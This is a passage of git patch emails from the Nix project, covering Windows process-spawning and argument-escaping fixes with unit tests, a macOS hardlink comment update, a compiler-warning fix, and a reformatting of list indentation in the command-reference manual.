const RunOptions & options, Pipe & out, Pipe & in) { // Setup pipes. @@ -203,7 +249,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou for (const auto & arg : options.args) { // TODO: This isn't the right way to escape windows command // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw - cmdline += ' ' + shellEscape(arg); + cmdline += ' ' + windowsEscape(arg, false); } PROCESS_INFORMATION procInfo = {0}; From d7537f695515339f811da73c98b64bb4e2e7dc9c Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 14:58:17 -0700 Subject: [PATCH 0842/1251] Implement initial spawn tests (just testing windowsEscape for now) --- tests/unit/libutil/spawn.cc | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 tests/unit/libutil/spawn.cc diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc new file mode 100644 index 000000000..6d9821f4e --- /dev/null +++ b/tests/unit/libutil/spawn.cc @@ -0,0 +1,35 @@ +#include + +#include "processes.hh" + +namespace nix { +/* +TEST(SpawnTest, spawnEcho) +{ +auto output = runProgram(RunOptions{.program = "echo", .args = {}}); +} +*/ + +#ifdef _WIN32 +std::string windowsEscape(const std::string & str, bool cmd); + +TEST(SpawnTest, windowsEscape) +{ + auto empty = windowsEscape("", false); + ASSERT_EQ(empty, R"("")"); + // There's no quotes in this argument so the input should equal the output + auto backslashStr = R"(\\\\)"; + auto backslashes = windowsEscape(backslashStr, false); + ASSERT_EQ(backslashes, backslashStr); + + auto nestedQuotes = windowsEscape(R"(he said: "hello there")", false); + ASSERT_EQ(nestedQuotes, R"("he said: \"hello there\"")"); + + auto middleQuote = windowsEscape(R"( \\\" )", false); + ASSERT_EQ(middleQuote, R"(" \\\\\\\" ")"); + + auto space = windowsEscape("hello world", false); + ASSERT_EQ(space, R"("hello world")"); +} +#endif +} From 4f6e3b940255053cd51e566416327c6120851075 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 18:44:23 -0700 Subject: [PATCH 0843/1251] Implement tests for lookupPathForProgram and fix bugs caught by tests --- src/libutil/windows/processes.cc | 8 ++++---- tests/unit/libutil/spawn.cc | 10 +++++++++- 2 files changed, 13 insertions(+), 5 deletions(-) diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index cf1949aa2..a1104fa1e 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -94,7 +94,7 @@ std::string runProgram( Path lookupPathForProgram(const Path & program) { if (program.find('/') != program.npos || program.find('\\') != program.npos) { - throw Error("program '%1%' partially specifies its path", program); + throw UsageError("program '%1%' partially specifies its path", program); } // Possible extensions. @@ -107,8 +107,9 @@ Path lookupPathForProgram(const Path & program) } // Look through each directory listed in $PATH. - for (const std::string & dir : tokenizeString(*getEnv("PATH"), ";")) { - Path candidate = canonPath(dir) + '/' + program; + for (const std::string & dir : tokenizeString(*path, ";")) { + // TODO: This should actually be canonPath(dir), but that ends up appending two drive paths + Path candidate = dir + "/" + program; for (const auto ext : exts) { if (pathExists(candidate + ext)) { return candidate; @@ -408,5 +409,4 @@ bool statusOk(int status) { return status == 0; } - } diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc index 6d9821f4e..e84de18f1 100644 --- a/tests/unit/libutil/spawn.cc +++ b/tests/unit/libutil/spawn.cc @@ -6,11 +6,19 @@ namespace nix { /* TEST(SpawnTest, spawnEcho) { -auto output = runProgram(RunOptions{.program = "echo", .args = {}}); +auto output = runProgram(RunOptions{.program = "cmd", .lookupPath = true, .args = {"/C", "echo \"hello world\""}}); +std::cout << output.second << std::endl; } */ #ifdef _WIN32 +Path lookupPathForProgram(const Path & program); +TEST(SpawnTest, pathSearch) +{ + ASSERT_NO_THROW(lookupPathForProgram("cmd")); + ASSERT_NO_THROW(lookupPathForProgram("cmd.exe")); + ASSERT_THROW(lookupPathForProgram("C:/System32/cmd.exe"), UsageError); +} std::string windowsEscape(const std::string & str, bool cmd); TEST(SpawnTest, windowsEscape) From ff1fc780d24b0916ac8ffaa884dd3096f1d9aac7 Mon Sep 17 00:00:00 2001 From: Mingye Wang Date: Tue, 18 Jun 2024 12:05:59 +0800 Subject: [PATCH 0844/1251] optimize-store.cc: Update macos exclusion comments #2230 broadened the scope of macOS hardlink exclusion but did not change the comments. This was a little confusing for me, so I figured the comments should be updated. --- src/libstore/optimise-store.cc | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/src/libstore/optimise-store.cc b/src/libstore/optimise-store.cc index 2477cf0c0..e9b6d2d50 100644 --- a/src/libstore/optimise-store.cc +++ b/src/libstore/optimise-store.cc @@ -98,9 +98,10 @@ void LocalStore::optimisePath_(Activity * act, OptimiseStats & stats, #if __APPLE__ /* HFS/macOS has some undocumented security feature disabling hardlinking for - special files within .app dirs. *.app/Contents/PkgInfo and - *.app/Contents/Resources/\*.lproj seem to be the only paths affected. See - https://github.com/NixOS/nix/issues/1443 for more discussion. */ + special files within .app dirs. Known affected paths include + *.app/Contents/{PkgInfo,Resources/\*.lproj,_CodeSignature} and .DS_Store. + See https://github.com/NixOS/nix/issues/1443 and + https://github.com/NixOS/nix/pull/2230 for more discussion. */ if (std::regex_search(path, std::regex("\\.app/Contents/.+$"))) { From fcb92b4fa4f260086aafdb7d9e8e51a26360b46e Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Mon, 17 Jun 2024 22:14:38 -0700 Subject: [PATCH 0845/1251] Fix DWORD vs. int comparison warning --- src/libutil/windows/processes.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index a1104fa1e..973a2cab9 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -285,7 +285,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou TerminateProcess(procInfo.hProcess, 0); throw WinError("Couldn't assign child process to job object"); } - if (ResumeThread(procInfo.hThread) == -1) { + if (ResumeThread(procInfo.hThread) == (DWORD) -1) { TerminateProcess(procInfo.hProcess, 0); throw WinError("Couldn't resume child process thread"); } From 8b81d083a72b714a5599c8243f8e05ed15d2d7c0 Mon Sep 17 00:00:00 2001 From: PoweredByPie Date: Tue, 18 Jun 2024 00:55:47 -0700 Subject: [PATCH 0846/1251] Remove lookupPathForProgram and implement initial runProgram test Apparently, CreateProcessW already searches path, so manual path search isn't really necessary. --- src/libutil/windows/processes.cc | 38 +++----------------------------- tests/unit/libutil/spawn.cc | 17 +++++--------- 2 files changed, 8 insertions(+), 47 deletions(-) diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc index 973a2cab9..9cd714f84 100644 --- a/src/libutil/windows/processes.cc +++ b/src/libutil/windows/processes.cc @@ -89,36 +89,6 @@ std::string runProgram( return res.second; } -// Looks at the $PATH environment variable to find the program. -// Adapted from https://github.com/nix-windows/nix/blob/windows/src/libutil/util.cc#L2276 -Path lookupPathForProgram(const Path & program) -{ - if (program.find('/') != program.npos || program.find('\\') != program.npos) { - throw UsageError("program '%1%' partially specifies its path", program); - } - - // Possible extensions. - // TODO: This should actually be sourced from $PATHEXT, not hardcoded. - static constexpr const char * exts[] = {"", ".exe", ".cmd", ".bat"}; - - auto path = getEnv("PATH"); - if (!path.has_value()) { - throw WinError("couldn't find PATH environment variable"); - } - - // Look through each directory listed in $PATH. - for (const std::string & dir : tokenizeString(*path, ";")) { - // TODO: This should actually be canonPath(dir), but that ends up appending two drive paths - Path candidate = dir + "/" + program; - for (const auto ext : exts) { - if (pathExists(candidate + ext)) { - return candidate; - } - } - } - - throw WinError("program '%1%' not found on PATH", program); -} std::optional getProgramInterpreter(const Path & program) { @@ -246,7 +216,7 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou } } - std::string cmdline = realProgram; + std::string cmdline = windowsEscape(realProgram, false); for (const auto & arg : options.args) { // TODO: This isn't the right way to escape windows command // See https://learn.microsoft.com/en-us/windows/win32/api/shellapi/nf-shellapi-commandlinetoargvw @@ -255,7 +225,8 @@ Pid spawnProcess(const Path & realProgram, const RunOptions & options, Pipe & ou PROCESS_INFORMATION procInfo = {0}; if (CreateProcessW( - string_to_os_string(realProgram).c_str(), + // EXE path is provided in the cmdline + NULL, string_to_os_string(cmdline).data(), NULL, NULL, @@ -335,9 +306,6 @@ void runProgram2(const RunOptions & options) in.create(); Path realProgram = options.program; - if (options.lookupPath) { - realProgram = lookupPathForProgram(realProgram); - } // TODO: Implement shebang / program interpreter lookup on Windows auto interpreter = getProgramInterpreter(realProgram); diff --git a/tests/unit/libutil/spawn.cc b/tests/unit/libutil/spawn.cc index e84de18f1..c617acae0 100644 --- a/tests/unit/libutil/spawn.cc +++ b/tests/unit/libutil/spawn.cc @@ -3,22 +3,15 @@ #include "processes.hh" namespace nix { -/* -TEST(SpawnTest, spawnEcho) -{ -auto output = runProgram(RunOptions{.program = "cmd", .lookupPath = true, .args = {"/C", "echo \"hello world\""}}); -std::cout << output.second << std::endl; -} -*/ #ifdef _WIN32 -Path lookupPathForProgram(const Path & program); -TEST(SpawnTest, pathSearch) +TEST(SpawnTest, spawnEcho) { - ASSERT_NO_THROW(lookupPathForProgram("cmd")); - ASSERT_NO_THROW(lookupPathForProgram("cmd.exe")); - ASSERT_THROW(lookupPathForProgram("C:/System32/cmd.exe"), UsageError); + auto output = runProgram(RunOptions{.program = "cmd.exe", .args = {"/C", "echo", "hello world"}}); + ASSERT_EQ(output.first, 0); + ASSERT_EQ(output.second, "\"hello world\"\r\n"); } + std::string windowsEscape(const std::string & str, bool cmd); TEST(SpawnTest, windowsEscape) From b975151c090f9bf25c812e0e0b31e2ca6998123a Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Tue, 18 Jun 2024 11:26:08 +0200 Subject: [PATCH 0847/1251] dedent lists this indentation is unnecessary and probably an artefact from the migration off XML. --- doc/manual/src/command-ref/nix-build.md | 18 +- doc/manual/src/command-ref/nix-channel.md | 52 ++--- .../src/command-ref/nix-copy-closure.md | 32 +-- doc/manual/src/command-ref/nix-env/install.md | 184 +++++++++--------- .../src/command-ref/nix-env/opt-common.md | 51 +++-- .../src/command-ref/nix-env/set-flag.md | 32 +-- doc/manual/src/command-ref/nix-env/upgrade.md | 62 +++--- doc/manual/src/command-ref/nix-hash.md | 76 ++++---- doc/manual/src/command-ref/nix-instantiate.md | 148 +++++++------- .../src/command-ref/nix-prefetch-url.md | 34 ++-- doc/manual/src/command-ref/nix-shell.md | 76 ++++---- .../src/command-ref/nix-store/add-fixed.md | 6 +- doc/manual/src/command-ref/nix-store/gc.md | 36 ++-- doc/manual/src/command-ref/nix-store/query.md | 180 ++++++++--------- .../src/command-ref/nix-store/realise.md | 30 +-- doc/manual/src/command-ref/nix-store/serve.md | 8 +- .../src/command-ref/nix-store/verify.md | 22 +-- 17 files changed, 523 insertions(+), 524 deletions(-) diff --git a/doc/manual/src/command-ref/nix-build.md b/doc/manual/src/command-ref/nix-build.md index e4223b542..3bb59cbed 100644 --- a/doc/manual/src/command-ref/nix-build.md +++ b/doc/manual/src/command-ref/nix-build.md @@ -55,20 +55,20 @@ All options not listed here are passed to [`nix-store --realise`](nix-store/realise.md), except for `--arg` and `--attr` / `-A` which are passed to [`nix-instantiate`](nix-instantiate.md). - - [`--no-out-link`](#opt-no-out-link) +- [`--no-out-link`](#opt-no-out-link) - Do not create a symlink to the output path. Note that as a result - the output does not become a root of the garbage collector, and so - might be deleted by `nix-store --gc`. + Do not create a symlink to the output path. Note that as a result + the output does not become a root of the garbage collector, and so + might be deleted by `nix-store --gc`. - - [`--dry-run`](#opt-dry-run) +- [`--dry-run`](#opt-dry-run) - Show what store paths would be built or downloaded. + Show what store paths would be built or downloaded. - - [`--out-link`](#opt-out-link) / `-o` *outlink* +- [`--out-link`](#opt-out-link) / `-o` *outlink* - Change the name of the symlink to the output path created from - `result` to *outlink*. + Change the name of the symlink to the output path created from + `result` to *outlink*. {{#include ./status-build-failure.md}} diff --git a/doc/manual/src/command-ref/nix-channel.md b/doc/manual/src/command-ref/nix-channel.md index 99f6e37cf..8b58392b7 100644 --- a/doc/manual/src/command-ref/nix-channel.md +++ b/doc/manual/src/command-ref/nix-channel.md @@ -27,46 +27,46 @@ The moving parts of channels are: This command has the following operations: - - `--add` *url* \[*name*\] +- `--add` *url* \[*name*\] - Add a channel *name* located at *url* to the list of subscribed channels. - If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed. + Add a channel *name* located at *url* to the list of subscribed channels. + If *name* is omitted, default to the last component of *url*, with the suffixes `-stable` or `-unstable` removed. - > **Note** - > - > `--add` does not automatically perform an update. - > Use `--update` explicitly. + > **Note** + > + > `--add` does not automatically perform an update. + > Use `--update` explicitly. - A channel URL must point to a directory containing a file `nixexprs.tar.gz`. - At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point. + A channel URL must point to a directory containing a file `nixexprs.tar.gz`. + At the top level, that tarball must contain a single directory with a `default.nix` file that serves as the channel’s entry point. - - `--remove` *name* +- `--remove` *name* - Remove the channel *name* from the list of subscribed channels. + Remove the channel *name* from the list of subscribed channels. - - `--list` +- `--list` - Print the names and URLs of all subscribed channels on standard output. + Print the names and URLs of all subscribed channels on standard output. - - `--update` \[*names*…\] +- `--update` \[*names*…\] - Download the Nix expressions of subscribed channels and create a new generation. - Update all channels if none is specified, and only those included in *names* otherwise. + Download the Nix expressions of subscribed channels and create a new generation. + Update all channels if none is specified, and only those included in *names* otherwise. - - `--list-generations` +- `--list-generations` - Prints a list of all the current existing generations for the - channel profile. + Prints a list of all the current existing generations for the + channel profile. - Works the same way as - ``` - nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations - ``` + Works the same way as + ``` + nix-env --profile /nix/var/nix/profiles/per-user/$USER/channels --list-generations + ``` - - `--rollback` \[*generation*\] +- `--rollback` \[*generation*\] - Revert channels to the state before the last call to `nix-channel --update`. - Optionally, you can specify a specific channel *generation* number to restore. + Revert channels to the state before the last call to `nix-channel --update`. + Optionally, you can specify a specific channel *generation* number to restore. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-copy-closure.md b/doc/manual/src/command-ref/nix-copy-closure.md index d94bde3a3..8cfd6ebad 100644 --- a/doc/manual/src/command-ref/nix-copy-closure.md +++ b/doc/manual/src/command-ref/nix-copy-closure.md @@ -27,38 +27,38 @@ When using public key authentication, you can avoid typing the passphrase with ` # Options - - `--to` +- `--to` - Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_. - This is the default behavior. + Copy the closure of _paths_ from a Nix store accessible from the local machine to the Nix store on the remote _machine_. + This is the default behavior. - - `--from` +- `--from` - Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store. + Copy the closure of _paths_ from the Nix store on the remote _machine_ to the local machine's specified Nix store. - - `--gzip` +- `--gzip` - Enable compression of the SSH connection. + Enable compression of the SSH connection. - - `--include-outputs` +- `--include-outputs` - Also copy the outputs of [store derivation]s included in the closure. + Also copy the outputs of [store derivation]s included in the closure. - [store derivation]: @docroot@/glossary.md#gloss-store-derivation + [store derivation]: @docroot@/glossary.md#gloss-store-derivation - - `--use-substitutes` / `-s` +- `--use-substitutes` / `-s` - Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters). - Any store objects that cannot be substituted on the target are still copied normally from the source. - This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast. + Attempt to download missing store objects on the target from [substituters](@docroot@/command-ref/conf-file.md#conf-substituters). + Any store objects that cannot be substituted on the target are still copied normally from the source. + This is useful, for instance, if the connection between the source and target machine is slow, but the connection between the target machine and `cache.nixos.org` (the default binary cache server) is fast. {{#include ./opt-common.md}} # Environment variables - - `NIX_SSHOPTS` +- `NIX_SSHOPTS` - Additional options to be passed to `ssh` on the command line. + Additional options to be passed to `ssh` on the command line. {{#include ./env-common.md}} diff --git a/doc/manual/src/command-ref/nix-env/install.md b/doc/manual/src/command-ref/nix-env/install.md index 85f37904f..76aa70f71 100644 --- a/doc/manual/src/command-ref/nix-env/install.md +++ b/doc/manual/src/command-ref/nix-env/install.md @@ -21,125 +21,125 @@ It is based on the current generation of the active [profile](@docroot@/command- The arguments *args* map to store paths in a number of possible ways: - - By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression]. - These are [realised], and the resulting output paths are installed. - Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified. +- By default, *args* is a set of [derivation] names denoting derivations in the [default Nix expression]. + These are [realised], and the resulting output paths are installed. + Currently installed derivations with a name equal to the name of a derivation being added are removed unless the option `--preserve-installed` is specified. - [derivation]: @docroot@/glossary.md#gloss-derivation - [default Nix expression]: @docroot@/command-ref/files/default-nix-expression.md - [realised]: @docroot@/glossary.md#gloss-realise + [derivation]: @docroot@/glossary.md#gloss-derivation + [default Nix expression]: @docroot@/command-ref/files/default-nix-expression.md + [realised]: @docroot@/glossary.md#gloss-realise - If there are multiple derivations matching a name in *args* that - have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the - derivation with the highest *priority* is used. A derivation can - define a priority by declaring the `meta.priority` attribute. This - attribute should be a number, with a higher value denoting a lower - priority. The default priority is `5`. + If there are multiple derivations matching a name in *args* that + have the same name (e.g., `gcc-3.3.6` and `gcc-4.1.1`), then the + derivation with the highest *priority* is used. A derivation can + define a priority by declaring the `meta.priority` attribute. This + attribute should be a number, with a higher value denoting a lower + priority. The default priority is `5`. - If there are multiple matching derivations with the same priority, - then the derivation with the highest version will be installed. + If there are multiple matching derivations with the same priority, + then the derivation with the highest version will be installed. - You can force the installation of multiple derivations with the same - name by being specific about the versions. For instance, `nix-env --install - gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will - probably cause a user environment conflict\!). + You can force the installation of multiple derivations with the same + name by being specific about the versions. For instance, `nix-env --install + gcc-3.3.6 gcc-4.1.1` will install both version of GCC (and will + probably cause a user environment conflict\!). - - If [`--attr`](#opt-attr) / `-A` is specified, the arguments are *attribute paths* that select attributes from the [default Nix expression]. - This is faster than using derivation names and unambiguous. - Show the attribute paths of available packages with [`nix-env --query`](./query.md): +- If [`--attr`](#opt-attr) / `-A` is specified, the arguments are *attribute paths* that select attributes from the [default Nix expression]. + This is faster than using derivation names and unambiguous. + Show the attribute paths of available packages with [`nix-env --query`](./query.md): - ```console - nix-env --query --available --attr-path - ``` + ```console + nix-env --query --available --attr-path + ``` - - If `--from-profile` *path* is given, *args* is a set of names - denoting installed [store paths] in the profile *path*. This is an - easy way to copy user environment elements from one profile to - another. +- If `--from-profile` *path* is given, *args* is a set of names + denoting installed [store paths] in the profile *path*. This is an + easy way to copy user environment elements from one profile to + another. - - If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument. - The derivations returned by those function calls are installed. - This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name. +- If `--from-expression` is given, *args* are [Nix language functions](@docroot@/language/constructs.md#functions) that are called with the [default Nix expression] as their single argument. + The derivations returned by those function calls are installed. + This allows derivations to be specified in an unambiguous way, which is necessary if there are multiple derivations with the same name. - - If *args* are [store derivations](@docroot@/glossary.md#gloss-store-derivation), then these are [realised], and the resulting output paths are installed. +- If *args* are [store derivations](@docroot@/glossary.md#gloss-store-derivation), then these are [realised], and the resulting output paths are installed. - - If *args* are [store paths] that are not store derivations, then these are [realised] and installed. +- If *args* are [store paths] that are not store derivations, then these are [realised] and installed. - - By default all [outputs](@docroot@/language/derivations.md#attr-outputs) are installed for each [derivation]. - This can be overridden by adding a `meta.outputsToInstall` attribute on the derivation listing a subset of the output names. +- By default all [outputs](@docroot@/language/derivations.md#attr-outputs) are installed for each [derivation]. + This can be overridden by adding a `meta.outputsToInstall` attribute on the derivation listing a subset of the output names. - Example: + Example: - The file `example.nix` defines a derivation with two outputs `foo` and `bar`, each containing a file. + The file `example.nix` defines a derivation with two outputs `foo` and `bar`, each containing a file. - ```nix - # example.nix - let - pkgs = import {}; - command = '' - ${pkgs.coreutils}/bin/mkdir -p $foo $bar - echo foo > $foo/foo-file - echo bar > $bar/bar-file - ''; - in - derivation { - name = "example"; - builder = "${pkgs.bash}/bin/bash"; - args = [ "-c" command ]; - outputs = [ "foo" "bar" ]; - system = builtins.currentSystem; - } - ``` + ```nix + # example.nix + let + pkgs = import {}; + command = '' + ${pkgs.coreutils}/bin/mkdir -p $foo $bar + echo foo > $foo/foo-file + echo bar > $bar/bar-file + ''; + in + derivation { + name = "example"; + builder = "${pkgs.bash}/bin/bash"; + args = [ "-c" command ]; + outputs = [ "foo" "bar" ]; + system = builtins.currentSystem; + } + ``` - Installing from this Nix expression will make files from both outputs appear in the current profile. + Installing from this Nix expression will make files from both outputs appear in the current profile. - ```console - $ nix-env --install --file example.nix - installing 'example' - $ ls ~/.nix-profile - foo-file - bar-file - manifest.nix - ``` + ```console + $ nix-env --install --file example.nix + installing 'example' + $ ls ~/.nix-profile + foo-file + bar-file + manifest.nix + ``` - Adding `meta.outputsToInstall` to that derivation will make `nix-env` only install files from the specified outputs. + Adding `meta.outputsToInstall` to that derivation will make `nix-env` only install files from the specified outputs. - ```nix - # example-outputs.nix - import ./example.nix // { meta.outputsToInstall = [ "bar" ]; } - ``` + ```nix + # example-outputs.nix + import ./example.nix // { meta.outputsToInstall = [ "bar" ]; } + ``` - ```console - $ nix-env --install --file example-outputs.nix - installing 'example' - $ ls ~/.nix-profile - bar-file - manifest.nix - ``` + ```console + $ nix-env --install --file example-outputs.nix + installing 'example' + $ ls ~/.nix-profile + bar-file + manifest.nix + ``` # Options - - `--prebuilt-only` / `-b` +- `--prebuilt-only` / `-b` - Use only derivations for which a substitute is registered, i.e., - there is a pre-built binary available that can be downloaded in lieu - of building the derivation. Thus, no packages will be built from - source. + Use only derivations for which a substitute is registered, i.e., + there is a pre-built binary available that can be downloaded in lieu + of building the derivation. Thus, no packages will be built from + source. - - `--preserve-installed` / `-P` +- `--preserve-installed` / `-P` - Do not remove derivations with a name matching one of the - derivations being installed. Usually, trying to have two versions of - the same package installed in the same generation of a profile will - lead to an error in building the generation, due to file name - clashes between the two versions. However, this is not the case for - all packages. + Do not remove derivations with a name matching one of the + derivations being installed. Usually, trying to have two versions of + the same package installed in the same generation of a profile will + lead to an error in building the generation, due to file name + clashes between the two versions. However, this is not the case for + all packages. - - `--remove-all` / `-r` +- `--remove-all` / `-r` - Remove all previously installed packages first. This is equivalent - to running `nix-env --uninstall '.*'` first, except that everything happens - in a single transaction. + Remove all previously installed packages first. This is equivalent + to running `nix-env --uninstall '.*'` first, except that everything happens + in a single transaction. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-env/opt-common.md b/doc/manual/src/command-ref/nix-env/opt-common.md index 3ece3e881..1479ca0bd 100644 --- a/doc/manual/src/command-ref/nix-env/opt-common.md +++ b/doc/manual/src/command-ref/nix-env/opt-common.md @@ -2,38 +2,37 @@ The following options are allowed for all `nix-env` operations, but may not always have an effect. - - `--file` / `-f` *path* +- `--file` / `-f` *path* - Specifies the Nix expression (designated below as the *active Nix - expression*) used by the `--install`, `--upgrade`, and `--query - --available` operations to obtain derivations. The default is - `~/.nix-defexpr`. + Specifies the Nix expression (designated below as the *active Nix + expression*) used by the `--install`, `--upgrade`, and `--query + --available` operations to obtain derivations. The default is + `~/.nix-defexpr`. - If the argument starts with `http://` or `https://`, it is - interpreted as the URL of a tarball that will be downloaded and - unpacked to a temporary location. The tarball must include a single - top-level directory containing at least a file named `default.nix`. + If the argument starts with `http://` or `https://`, it is + interpreted as the URL of a tarball that will be downloaded and + unpacked to a temporary location. The tarball must include a single + top-level directory containing at least a file named `default.nix`. - - `--profile` / `-p` *path* +- `--profile` / `-p` *path* - Specifies the profile to be used by those operations that operate on - a profile (designated below as the *active profile*). A profile is a - sequence of user environments called *generations*, one of which is - the *current generation*. + Specifies the profile to be used by those operations that operate on + a profile (designated below as the *active profile*). A profile is a + sequence of user environments called *generations*, one of which is + the *current generation*. - - `--dry-run` +- `--dry-run` - For the `--install`, `--upgrade`, `--uninstall`, - `--switch-generation`, `--delete-generations` and `--rollback` - operations, this flag will cause `nix-env` to print what *would* be - done if this flag had not been specified, without actually doing it. + For the `--install`, `--upgrade`, `--uninstall`, + `--switch-generation`, `--delete-generations` and `--rollback` + operations, this flag will cause `nix-env` to print what *would* be + done if this flag had not been specified, without actually doing it. - `--dry-run` also prints out which paths will be - [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths - will be built from source (because no substitute is available). + `--dry-run` also prints out which paths will be + [substituted](@docroot@/glossary.md) (i.e., downloaded) and which paths + will be built from source (because no substitute is available). - - `--system-filter` *system* +- `--system-filter` *system* - By default, operations such as `--query - --available` show derivations matching any platform. This option - allows you to use derivations for the specified platform *system*. + By default, operations such as `--query --available` show derivations matching any platform. This option + allows you to use derivations for the specified platform *system*. diff --git a/doc/manual/src/command-ref/nix-env/set-flag.md b/doc/manual/src/command-ref/nix-env/set-flag.md index e04b22a91..58a0248bb 100644 --- a/doc/manual/src/command-ref/nix-env/set-flag.md +++ b/doc/manual/src/command-ref/nix-env/set-flag.md @@ -13,24 +13,24 @@ to be modified. There are several attributes that can be usefully modified, because they affect the behaviour of `nix-env` or the user environment build script: - - `priority` can be changed to resolve filename clashes. The user - environment build script uses the `meta.priority` attribute of - derivations to resolve filename collisions between packages. Lower - priority values denote a higher priority. For instance, the GCC - wrapper package and the Binutils package in Nixpkgs both have a file - `bin/ld`, so previously if you tried to install both you would get a - collision. Now, on the other hand, the GCC wrapper declares a higher - priority than Binutils, so the former’s `bin/ld` is symlinked in the - user environment. +- `priority` can be changed to resolve filename clashes. The user + environment build script uses the `meta.priority` attribute of + derivations to resolve filename collisions between packages. Lower + priority values denote a higher priority. For instance, the GCC + wrapper package and the Binutils package in Nixpkgs both have a file + `bin/ld`, so previously if you tried to install both you would get a + collision. Now, on the other hand, the GCC wrapper declares a higher + priority than Binutils, so the former’s `bin/ld` is symlinked in the + user environment. - - `keep` can be set to `true` to prevent the package from being - upgraded or replaced. This is useful if you want to hang on to an - older version of a package. +- `keep` can be set to `true` to prevent the package from being + upgraded or replaced. This is useful if you want to hang on to an + older version of a package. - - `active` can be set to `false` to “disable” the package. That is, no - symlinks will be generated to the files of the package, but it - remains part of the profile (so it won’t be garbage-collected). It - can be set back to `true` to re-enable the package. +- `active` can be set to `false` to “disable” the package. That is, no + symlinks will be generated to the files of the package, but it + remains part of the profile (so it won’t be garbage-collected). It + can be set back to `true` to re-enable the package. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-env/upgrade.md b/doc/manual/src/command-ref/nix-env/upgrade.md index dc99064b9..2779363c3 100644 --- a/doc/manual/src/command-ref/nix-env/upgrade.md +++ b/doc/manual/src/command-ref/nix-env/upgrade.md @@ -28,48 +28,48 @@ version is installed. # Flags - - `--lt` +- `--lt` - Only upgrade a derivation to newer versions. This is the default. + Only upgrade a derivation to newer versions. This is the default. - - `--leq` +- `--leq` - In addition to upgrading to newer versions, also “upgrade” to - derivations that have the same version. Version are not a unique - identification of a derivation, so there may be many derivations - that have the same version. This flag may be useful to force - “synchronisation” between the installed and available derivations. + In addition to upgrading to newer versions, also “upgrade” to + derivations that have the same version. Version are not a unique + identification of a derivation, so there may be many derivations + that have the same version. This flag may be useful to force + “synchronisation” between the installed and available derivations. - - `--eq` +- `--eq` - *Only* “upgrade” to derivations that have the same version. This may - not seem very useful, but it actually is, e.g., when there is a new - release of Nixpkgs and you want to replace installed applications - with the same versions built against newer dependencies (to reduce - the number of dependencies floating around on your system). + *Only* “upgrade” to derivations that have the same version. This may + not seem very useful, but it actually is, e.g., when there is a new + release of Nixpkgs and you want to replace installed applications + with the same versions built against newer dependencies (to reduce + the number of dependencies floating around on your system). - - `--always` +- `--always` - In addition to upgrading to newer versions, also “upgrade” to - derivations that have the same or a lower version. I.e., derivations - may actually be downgraded depending on what is available in the - active Nix expression. + In addition to upgrading to newer versions, also “upgrade” to + derivations that have the same or a lower version. I.e., derivations + may actually be downgraded depending on what is available in the + active Nix expression. - - `--prebuilt-only` / `-b` +- `--prebuilt-only` / `-b` - Use only derivations for which a substitute is registered, i.e., - there is a pre-built binary available that can be downloaded in lieu - of building the derivation. Thus, no packages will be built from - source. + Use only derivations for which a substitute is registered, i.e., + there is a pre-built binary available that can be downloaded in lieu + of building the derivation. Thus, no packages will be built from + source. - - `--preserve-installed` / `-P` +- `--preserve-installed` / `-P` - Do not remove derivations with a name matching one of the - derivations being installed. Usually, trying to have two versions of - the same package installed in the same generation of a profile will - lead to an error in building the generation, due to file name - clashes between the two versions. However, this is not the case for - all packages. + Do not remove derivations with a name matching one of the + derivations being installed. Usually, trying to have two versions of + the same package installed in the same generation of a profile will + lead to an error in building the generation, due to file name + clashes between the two versions. However, this is not the case for + all packages. {{#include ./opt-common.md}} diff --git a/doc/manual/src/command-ref/nix-hash.md b/doc/manual/src/command-ref/nix-hash.md index 4762600c2..f249c2b84 100644 --- a/doc/manual/src/command-ref/nix-hash.md +++ b/doc/manual/src/command-ref/nix-hash.md @@ -29,65 +29,65 @@ md5sum`. # Options - - `--flat` +- `--flat` - Print the cryptographic hash of the contents of each regular file *path*. - That is, instead of computing - the hash of the [Nix Archive (NAR)](@docroot@/store/file-system-object/content-address.md#serial-nix-archive) of *path*, - just [directly hash]((@docroot@/store/file-system-object/content-address.md#serial-flat) *path* as is. - This requires *path* 